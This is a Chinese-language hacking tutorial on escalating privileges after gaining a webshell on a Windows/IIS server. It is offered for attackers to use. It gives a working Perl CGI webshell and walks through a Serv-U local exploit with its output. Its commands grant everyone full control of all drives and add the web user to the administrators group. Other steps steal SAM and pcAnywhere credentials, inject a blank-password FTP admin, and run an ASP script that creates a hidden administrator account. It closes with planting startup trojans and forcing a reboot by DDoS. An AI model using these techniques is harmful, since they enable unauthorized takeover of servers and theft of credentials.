提升(web)权限终极9技巧
当我们取得一个webshell时候,下一部要做的就是提升权限  
个人总结如下:  
1: C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere 看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,得到pcAnywhere密码,登陆  
2.C:\WINNT\system32\config进这里下它的SAM,破解用户的密码  
用到破解sam密码的软件有LC,SAMinside  
3.C:\Documents and Settings\All Users\「开始」菜单\程序 看这里能跳转不,我们从这里可以获取好多有用的信息  
可以看见好多快捷方式,我们一般选择Serv-U的,然后本地查看属性,知道路径后,看能否跳转  
进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空  
[USER=WekweN|1]  
Password=  
HomeDir=c:TimeOut=600  
Maintenance=System  
Access1=C:\|RWAMELCDP  
Access1=d:\|RWAMELCDP  
Access1=f:\|RWAMELCDP  
SKEYValues=  
这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限
4.c:\winnt\system32\inetsrv\data就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行  
5.看能否跳转到如下目录  
c:\php, 用phpspy  
c:\prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell  
#!/usr/bin/perl  
binmode(STDOUT);  
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);  
$_ = $ENV{QUERY_STRING};  
s/%20/ /ig;  
s/%2f/\//ig;  
$execthis = $_;  
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);  
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";  
system($execthis);  
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);  
close(STDERR);  
close(STDOUT);  
exit;  
保存为cgi执行,  
如果不行,可以试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir  
显示"拒绝访问",表示可以执行了!马上提交:先的上传个su.exe(ser-u提升权限的工具)到 prel的bin目录  
http://anyhost//cmd.pl?c\perl\bin\su.exe  
返回:  
Serv-u >3.x Local Exploit by xiaolu  
USAGE: serv-u.exe "command"  
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"  
现在是 IUSR 权限,提交:  
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe c: /E /T /G everyone:F"  
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe d: /E /T /G everyone:F"  
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe e: /E /T /G everyone:F"  
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe f: /E /T /G everyone:F"  
如果返回下面的信息,就表示成功了  
Serv-u >3.x Local Exploit by xiaolu  
<220 Serv-U FTP Server v5.2 for WinSock ready...  
>USER LocalAdministrator  
<331 User name okay, need password.  
******************************************************  
>PASS #l@$ak#.lk;0@P  
<230 User logged in, proceed.  
******************************************************  
>SITE MAINTENANCE  
******************************************************  
[+] Creating New Domain...  
<200-DomainID=2  
<220 Domain settings saved  
******************************************************  
[+] Domain xl:2 Created  
[+] Creating Evil User  
<200-User=xl  
200 User settings saved  
******************************************************  
[+] Now Exploiting...  
>USER xl  
<331 User name okay, need password.  
******************************************************  
>PASS 111111  
<230 User logged in, proceed.  
******************************************************  
[+] Now Executing: cacls.exe c: /E /T /G everyone:F  
<220 Domain deleted  
这样所有分区为everyone完全控制  
现在我们把自己的用户提升为管理员:  
http://anyhost//cmd.pl?c\perl\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
6.可以成功运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限  
用这个cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps  
查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll  
再将asp.dll加入特权一族  
asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样)  
我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll"  
可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了  
7.还可以用这段代码试提升,好象效果不明显  
<<%Response.Expires=0">%@codepage=936%><%Response.Expires=0  
on error resume next  
Session.TimeOut=50  
Server.ScriptTimeout=3000  
set lp=Server.CreateObject("WSCRIPT.NETWORK")  
oz="WinNT://"&lp.ComputerName  
Set ob=GetObject(oz)  
Set oe=GetObject(oz&"/Administrators,group")  
Set od=ob.Create("user","WekweN$")  
od.SetPassword "WekweN" <-----密码  
od.SetInfo  
Set of=GetObject(oz&"/WekweN$,user")  
oe.Add(of.ADsPath)  
Response.write "WekweN$ 超级帐号建立成功!"%>
用这段代码检查是否提升成功  
<%@codepage=936%>  
<%Response.Expires=0  
on error resume next '查找Administrators组帐号  
Set tN=server.CreateObject("Wscript.Network")  
Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group")  
For Each admin in objGroup.Members  
Response.write admin.Name&"<br>"  
Next  
if err then  
Response.write "不行啊:Wscript.Network"  
end if  
%>  
8.C:\Program Files\Java Web Start这里如果可以,一般很小,可以尝试用jsp的webshell,听说权限很小,本人没有遇见过。  
9.最后了,如果主机设置很变态,可以试下在c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat,vbs等木马。  
等到主机重启或者你ddos逼它重启,来达到权限提升的目的。

